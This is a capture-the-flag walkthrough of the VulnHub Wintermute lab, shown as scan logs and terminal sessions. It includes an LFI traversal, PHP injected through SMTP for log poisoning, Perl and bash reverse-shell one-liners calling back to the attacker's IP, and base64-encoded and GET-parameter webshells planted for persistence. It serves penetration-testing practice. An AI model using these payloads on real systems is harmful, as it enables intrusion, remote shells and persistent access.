-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathVulnHub Wintermute (Advanced)
6923 lines (5984 loc) · 433 KB
/
VulnHub Wintermute (Advanced)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
===================================================================================
Walktrhough of the WinterMute VulnHub 2 VMs CTF
===================================================================================
Context / Challenge:
=> The attacker has only access to the 1st VM (Straylight) and has to hack it before pivoting and attacking the 2nd VM (Neuromancer).
=> Attacker <PUBLIC network> Straylight VM <PRIVATE netork> Neuromancer VM
Straylight VM
--------------
Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb)
+ Anonymous access to a Postfix SMTP server
+ 2 Web apps are running (80 and 3000)
+ The NTOP web portal (port 3000) has default admin credentials (admin:admin)
The 'Flows' pages disclose several web applications' paths for the web running on HTTP port 80: /turing-bolo/ and /freeside/
Step 2. Gaining access
+ Injection of a PHP reverse shell in an email that will be logged in "/var/log/mail" (using the SMTP anonymous access)
+ One of the 2 Web apps is prone to a LFI vulnerability which allows to execute our PHP reverse shell written in the file "/var/log/mail"
=> Obtain a reverse shell as the account 'www-data'
Step 3. Linux enumeration (manual checks + LinEnum.sh + Linux-exploit-suggester.sh)
Step 4. Privilege escalation to root
+ Screen 4.5.0 (SUID) exploit (CVE-2017-5618)
Step 5. Pivoting to attack the Neuromancer VM
+ Upload and run a meterpreter linux payload
> use of metasploit's module 'autoroute' to be able to use all the msf scanners and exploits
> add several "local port forward" rules or set up a socks proxy to use other pentesting tools
+ Note: there are many other techniques to perform pivoting/lateral movement such as using SOCAT or SSH tunneling...
Neuromancer VM
---------------
Step 6: Scanning & Enumeration (network port scan + manual checks)
+ Only 3 open ports (8009:apj19, 8080:apache Tomcat, 34483:ssh)
Step 7: Gaining access
+ Exploit the "Apache Struts2 S2-045" RCE vulnerability (CVE-2017-5638)
=> Execute OS command as the user 'ta'
+ Find the password of the 'Lady3Jane' account in tomcat-users.xml
=> Log into the ssh server as 'Lady3Jane' (port:34483)
Note: we can also log into the Tomcat manager console as 'Lady3Jane' and upload a JSP webshell or a meterpreter reverse/bind shell (it will run as 'ta')
Step 8. Privilege escalation to root
+ Method 1 - Use the eBPF exploit (CVE-2017-16995)
Notes: we can use either the account 'Lady3Jane' or 'ta'
+ Method 2 - CRON misconfiguration
=> Logged with the account 'Lady3Jane', create the script '/home/lady3jane/server-check.sh' that is launched by a CRON job with root permission
======================================================================================================================================================================
Straylight VM
--------------
Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb)
======================================================================================================================================================================
root@Security-Audit-01:~/Desktop/Wintermute# nmap -sS -sV -sC -p- --open 192.168.1.16
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-23 23:12 CEST
Nmap scan report for 192.168.1.16
Host is up (0.00042s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: straylight, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=straylight
| Subject Alternative Name: DNS:straylight
| Not valid before: 2018-05-12T18:08:02
|_Not valid after: 2028-05-09T18:08:02
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Night City
3000/tcp open hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info:
|_ Logs: submit
| hadoop-tasktracker-info:
|_ Logs: submit
| http-title: Welcome to ntopng
|_Requested resource was /lua/login.lua?referer=/
|_http-trane-info: Problem with XML parsing of /evox/about
MAC Address: 08:00:27:50:96:D9 (Oracle VirtualBox virtual NIC)
Service Info: Host: straylight
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.33 seconds
root@Security-Audit-01:~/Desktop/Wintermute#
=========================================================================================
root@Security-Audit-01:~# nmap -sV --script vuln -p 25,80,3000 192.168.1.16
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-24 03:13 CEST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.16
Host is up (0.00043s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
| ssl-dh-params:
| VULNERABLE:
| Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
| State: VULNERABLE
| Transport Layer Security (TLS) services that use anonymous
| Diffie-Hellman key exchange only provide protection against passive
| eavesdropping, and are vulnerable to active man-in-the-middle attacks
| which could completely compromise the confidentiality and integrity
| of any data exchanged over the resulting session.
| Check results:
| ANONYMOUS DH GROUP 1
| Cipher Suite: TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA
| Modulus Type: Safe prime
| Modulus Source: Unknown/Custom-generated
| Modulus Length: 2048
| Generator Length: 8
| Public Key Length: 2048
| References:
|_ https://www.ietf.org/rfc/rfc2246.txt
|_sslv2-drown:
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_ /manual/: Potentially interesting folder
|_http-server-header: Apache/2.4.25 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3000/tcp open http Mongoose httpd
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.16
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.1.16:3000/
| Form id:
| Form action: /authorize.html
|
| Path: http://192.168.1.16:3000/authorize.html
| Form id:
|_ Form action: /authorize.html
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter:
|
|_ Couldn't find a file-type field.
|_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug)
|_http-passwd: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trane-info: Problem with XML parsing of /evox/about
| http-vuln-cve2010-0738:
|_ /jmx-console/: Authentication was not required
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
MAC Address: 08:00:27:50:96:D9 (Oracle VirtualBox virtual NIC)
Service Info: Host: straylight
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.13 seconds
=========================================================================================
root@Security-Audit-01:~# nikto -h http://192.168.1.16
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.16
+ Target Hostname: 192.168.1.16
+ Target Port: 80
+ Start Time: 2018-08-24 03:31:35 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x146 0x56c0ddaf44f8b
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2018-08-24 03:31:46 (GMT2) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
*********************************************************************
Portions of the server's headers (Apache/2.4.25) are not in
the Nikto database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to [email protected]) (y/n)? n
=========================================================================================
root@Security-Audit-01:~# nikto -h http://192.168.1.16:3000
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.16
+ Target Hostname: 192.168.1.16
+ Target Port: 3000
+ Start Time: 2018-08-24 03:32:02 (GMT2)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: /lua/login.lua?referer=/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /666%0a%0a<script>alert('Vulnerable');</script>666.jsp: Apache Tomcat 4.1 / Linux is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ 7537 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2018-08-24 03:32:16 (GMT2) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
=========================================================================================
root@Security-Audit-01:~/Desktop/Wintermute# dirb http://192.168.1.16
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Aug 25 01:58:10 2018
URL_BASE: http://192.168.1.16/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.16/ ----
+ http://192.168.1.16/index.html (CODE:200|SIZE:326)
==> DIRECTORY: http://192.168.1.16/manual/
+ http://192.168.1.16/server-status (CODE:403|SIZE:300)
---- Entering directory: http://192.168.1.16/manual/ ----
==> DIRECTORY: http://192.168.1.16/manual/da/
==> DIRECTORY: http://192.168.1.16/manual/de/
==> DIRECTORY: http://192.168.1.16/manual/en/
==> DIRECTORY: http://192.168.1.16/manual/es/
==> DIRECTORY: http://192.168.1.16/manual/fr/
==> DIRECTORY: http://192.168.1.16/manual/images/
+ http://192.168.1.16/manual/index.html (CODE:200|SIZE:626)
==> DIRECTORY: http://192.168.1.16/manual/ja/
==> DIRECTORY: http://192.168.1.16/manual/ko/
==> DIRECTORY: http://192.168.1.16/manual/style/
==> DIRECTORY: http://192.168.1.16/manual/tr/
==> DIRECTORY: http://192.168.1.16/manual/zh-cn/
---- Entering directory: http://192.168.1.16/manual/da/ ----
==> DIRECTORY: http://192.168.1.16/manual/da/developer/
==> DIRECTORY: http://192.168.1.16/manual/da/faq/
==> DIRECTORY: http://192.168.1.16/manual/da/howto/
+ http://192.168.1.16/manual/da/index.html (CODE:200|SIZE:9117)
==> DIRECTORY: http://192.168.1.16/manual/da/misc/
==> DIRECTORY: http://192.168.1.16/manual/da/mod/
==> DIRECTORY: http://192.168.1.16/manual/da/programs/
==> DIRECTORY: http://192.168.1.16/manual/da/ssl/
---- Entering directory: http://192.168.1.16/manual/de/ ----
==> DIRECTORY: http://192.168.1.16/manual/de/developer/
==> DIRECTORY: http://192.168.1.16/manual/de/faq/
==> DIRECTORY: http://192.168.1.16/manual/de/howto/
+ http://192.168.1.16/manual/de/index.html (CODE:200|SIZE:9544)
==> DIRECTORY: http://192.168.1.16/manual/de/misc/
==> DIRECTORY: http://192.168.1.16/manual/de/mod/
==> DIRECTORY: http://192.168.1.16/manual/de/programs/
==> DIRECTORY: http://192.168.1.16/manual/de/ssl/
<SNIP>
=========================================================================================
root@Security-Audit-01:~/Desktop/Wintermute# dirb http://192.168.1.16:3000/lua/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Aug 25 02:04:01 2018
URL_BASE: http://192.168.1.16:3000/lua/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.16:3000/lua/ ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
(Try using FineTunning: '-f')
-----------------
END_TIME: Sat Aug 25 02:04:01 2018
DOWNLOADED: 0 - FOUND: 0
=========================================================================================
NTOP web portal (port 3000)
=========================================================================================
=> NTOP web portal with default credentials (admin:admin)
http://192.168.1.16:3000/lua/login.lua?referer=/
=> 'About' page discloses software and OS versions
http://192.168.1.16:3000/lua/about.lua
=> 'Flows' pages gave several web applications' paths (HTTP port 80 service): /turing-bolo/ and /freeside/
=========================================================================================
Web applications (port 80)
=========================================================================================
http://192.168.1.16/freeside/
http://192.168.1.16/turing-bolo/
http://192.168.1.16/turing-bolo/bolo.php?bolo=molly
http://192.168.1.16/turing-bolo/bolo.php?bolo=armitage
======================================================================================================================================================================
Straylight VM
--------------
Step 2. Gaining access
======================================================================================================================================================================
LFI vulnerability in "turing-bolo/bolo.php" page
=================================================
http://192.168.1.16/turing-bolo/bolo.php?bolo=/../../../../../../etc/passwd
=> no error but the /etc/passwd file is not displayed
However the 3 following requests gave the same responses..
------------------------------------------------------------------
http://192.168.1.16/turing-bolo/bolo.php?bolo=molly
and
http://192.168.1.16/turing-bolo/bolo.php?bolo=/../../../var/www/html/turing-bolo/molly
and
http://192.168.1.16/turing-bolo/bolo.php?bolo=/var/www/html/turing-bolo/molly
Note: "/var/www/html/" is a default Web root directory
Test to get other files (I tried default directories and files in /var/)
-------------------------------------------------------------------------
http://192.168.1.16/turing-bolo/bolo.php?bolo=/var/log/mail
http://192.168.1.16/turing-bolo/bolo.php?bolo=/../../../../../../var/log/mail
=> no error and the postfix (mail) logs are displayed
GET /turing-bolo/bolo.php?bolo=/../../../../../../var/log/mail HTTP/1.1
Host: 192.168.1.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session=724e3820ca5f317906df81bad926f771; user=admin
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP 200 OK
Content-Encoding: gzip
Content-Length: 9507
Content-Type: text/html; charset=UTF-8
Date: Fri, 24 Aug 2018 01:14:16 GMT
Server: Apache/2.4.25 (Debian)
Vary: Accept-Encoding
<html>
<style>
.row {
display: flex;
}
.column {
flex: 33.33%;
padding: 5px;
}
body {
color: #ff7614;
}
</style>
<body style="background-color:#3d3d3d;">
<i>Sponsored by:</i> <b style="color:cyan;">Hosaka - <i>"Break the ICE" </i></b><br/>
<img src="c7.png"> <br/><br/>
*********************************************************************
*********************************************************************
<br/>
Jul 1 19:10:42 straylight postfix/postfix-script[1782]: stopping the Postfix mail system
Jul 1 19:10:42 straylight postfix/master[716]: terminating on signal 15
Jul 1 19:10:43 straylight postfix/postfix-script[1945]: starting the Postfix mail system
Jul 1 19:10:43 straylight postfix/master[1947]: daemon started -- version 3.1.8, configuration /etc/postfix
Jul 3 20:26:50 straylight postfix/postfix-script[732]: starting the Postfix mail system
Jul 3 20:26:50 straylight postfix/master[734]: daemon started -- version 3.1.8, configuration /etc/postfix
Jul 21 12:40:23 straylight postfix/postfix-script[765]: starting the Postfix mail system
Jul 21 12:40:23 straylight postfix/master[767]: daemon started -- version 3.1.8, configuration /etc/postfix
Jul 21 12:43:52 straylight postfix/smtpd[1001]: connect from unknown[192.168.1.8]
Jul 21 12:43:52 straylight postfix/smtpd[1001]: lost connection after CONNECT from unknown[192.168.1.8]
Jul 21 12:43:52 straylight postfix/smtpd[1001]: disconnect from unknown[192.168.1.8] commands=0/0
Jul 21 12:43:58 straylight postfix/smtpd[1001]: connect from unknown[192.168.1.8]
Jul 21 12:43:58 straylight postfix/smtpd[1009]: connect from unknown[192.168.1.8]
Jul 21 12:43:58 straylight postfix/smtpd[1011]: connect from unknown[192.168.1.8]
<SNIP>
Since anonymous access is possible on the POSTFIX server I tried to send an email containing malicious PHP
==========================================================================================================
Test 1: I tried to inject malicious PHP in the content of the mail
------------------------------------------------------------------
=> It did not work
root@Security-Audit-01:~# telnet 192.168.1.16 25
Trying 192.168.1.16...
Connected to 192.168.1.16.
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo
501 Syntax: HELO hostname
HELO straylight
250 straylight
MAIL FROM: root@localhost
250 2.1.0 Ok
RCPT TO: root@localhost
250 2.1.5 Ok
DATA <?php echo shell_exec("id;pwd;uname -a;2>&1"); ?>
501 5.5.4 Syntax: DATA
DATA
354 End data with <CR><LF>.<CR><LF>
<?php echo shell_exec("uname -a;whoami;2>&1"); ?>
<CR><LF>.<CR><LF>
QUIT
;
^C
Test 2: I added the malicious PHP in the "RCPT TO:" parameter
-------------------------------------------------------------
=> It worked, I had a remote code execution
Postfix:
root@Security-Audit-01:~# telnet 192.168.1.16 25
Trying 192.168.1.16...
Connected to 192.168.1.16.
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
FROM anonymous@straylight
502 5.5.2 Error: command not recognized
MAIL FROM: anonymous@straylight
250 2.1.0 Ok
RCPT TO: <?php echo shell_exec("id;pwd;uname -a;2>&1"); ?>
501 5.1.3 Bad recipient address syntax
Firefox:
=> HTTP Request
http://192.168.1.16/turing-bolo/bolo.php?bolo=/../../../var/log/mail
=> HTTP response containg the result of our OS commands
<html>
<style>
.row {
display: flex;
}
.column {
flex: 33.33%;
padding: 5px;
}
body {
color: #ff7614;
}
</style>
<body style="background-color:#3d3d3d;">
<i>Sponsored by:</i> <b style="color:cyan;">Hosaka - <i>"Break the ICE" </i></b><br/>
<img src="c7.png"> <br/><br/>
*********************************************************************
*********************************************************************
<br/>
<SNIP>
Aug 23 18:45:28 straylight postfix/smtpd[2886]: connect from unknown[192.168.1.8]
Aug 23 18:46:36 straylight postfix/smtpd[2886]: warning: Illegal address syntax from unknown[192.168.1.8] in RCPT command: uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html/turing-bolo
Linux straylight 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 GNU/Linux
</body>
</html>
Test 3: First attempt to gain a reverse shell
----------------------------------------------
root@Security-Audit-01:~# telnet 192.168.1.16 25
Trying 192.168.1.16...
Connected to 192.168.1.16.
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
MAIL FROM: root@localhost
250 2.1.0 Ok
RCPT TO: <?php exec("perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.9:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'");?>
501 5.1.3 Bad recipient address syntax
Results:
=> It did not work and the LFI doesn't work anymore with "/var/log/mail"
=> I deleted the VM and re-installed it
Test 4: Second attempt to gain a reverse shell
----------------------------------------------
1/ the malicious PHP is injected via a mail
root@Security-Audit-01:~# telnet 192.168.1.16 25
Trying 192.168.1.16...
Connected to 192.168.1.16.
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
MAIL FROM: root@localhost
250 2.1.0 Ok
RCPT TO: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.8/1234 0>&1'");?>
501 5.1.3 Bad recipient address syntax
2/ we browse the postfix mail logs to execute the malicious PHP thanks to the LFI vulnerability
http://192.168.1.16/turing-bolo/bolo.php?bolo=/var/log/mail
3/ we gain a reverse shell
root@Security-Audit-01:~# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.16] 45434
bash: cannot set terminal process group (571): Inappropriate ioctl for device
bash: no job control in this shell
www-data@straylight:
4/ we create 2 Webshells (Webshell.php and shell.php) to ensure our persistence in case we loose our reverse shell again
www-data@straylight:/var/www/html/turing-bolo$ echo '<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.8/1234 0>&1'");?>' > webshell.php
<dev/tcp/192.168.1.8/1234 0>&1'");?>' > webshell.php
bash: connect: Connection refused
www-data@straylight:
www-data@straylight:
www-data@straylight:/var/www/html/turing-bolo$ echo 'PD9waHAgZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMS44LzEyMzQgMD4mMSciKTs/Pgo=' > test
www-data@straylight:
www-data@straylight:/var/www/html/turing-bolo$ base64 -d test > Webshell.php
www-data@straylight:
www-data@straylight:/var/www/html/turing-bolo$ cat Webshell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.8/1234 0>&1'");?>
www-data@straylight:
www-data@straylight:/var/www/html/turing-bolo$ cat shell.php
<?php echo system($_GET['cmd']); exit; ?>
======================================================================================================================================================================
Straylight VM
--------------
Step 3. Linux enumeration (LinEnum.sh + Linux-exploit-suggester.sh + Manual tests and enmeration)
======================================================================================================================================================================
www-data@straylight:/var/www/html/turing-bolo$ wget http://192.168.1.8:8000/LinEnum.sh
--2018-08-23 19:29:22-- http://192.168.1.8:8000/LinEnum.sh
Connecting to 192.168.1.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44413 (43K) [text/x-sh]
Saving to: 'LinEnum.sh'
0K .......... .......... .......... .......... ... 100% 29.9M=0.001s
2018-08-23 19:29:22 (29.9 MB/s) - 'LinEnum.sh' saved [44413/44413]
www-data@straylight:/var/www/html/turing-bolo$ chmod +x LinEnum.sh
www-data@straylight:/var/www/html/turing-bolo$ ./LinEnum.sh -t
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.91
[-] Debug Info
[+] Thorough tests = Enabled
Scan started at:
Thu Aug 23 19:33:52 PDT 2018
### SYSTEM ##############################################
[-] Kernel information:
Linux straylight 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 GNU/Linux
[-] Kernel information (continued):
Linux version 4.9.0-6-amd64 ([email protected]) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) ) #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07)
[-] Specific release information:
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
[-] Hostname:
straylight
### USER/GROUP ##########################################
[-] Current user/group info:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[-] Users that have previously logged onto the system:
Username Port From Latest
root tty1 Tue Jul 3 20:30:28 -0700 2018
[-] Who else is logged on:
19:33:52 up 19 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=101(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=102(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=103(systemd-bus-proxy) gid=105(systemd-bus-proxy) groups=105(systemd-bus-proxy)
uid=104(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=105(messagebus) gid=110(messagebus) groups=110(messagebus)
uid=1000(wintermute) gid=1000(wintermute) groups=1000(wintermute),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
uid=106(
) gid=112(mysql) groups=112(mysql)
uid=107(Debian-snmp) gid=113(Debian-snmp) groups=113(Debian-snmp)
uid=108(redis) gid=114(redis) groups=114(redis)
uid=109(postgres) gid=115(postgres) groups=115(postgres),109(ssl-cert)
uid=110(postfix) gid=117(postfix) groups=117(postfix)
uid=1001(turing-police) gid=1001(turing-police) groups=1001(turing-police)
[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
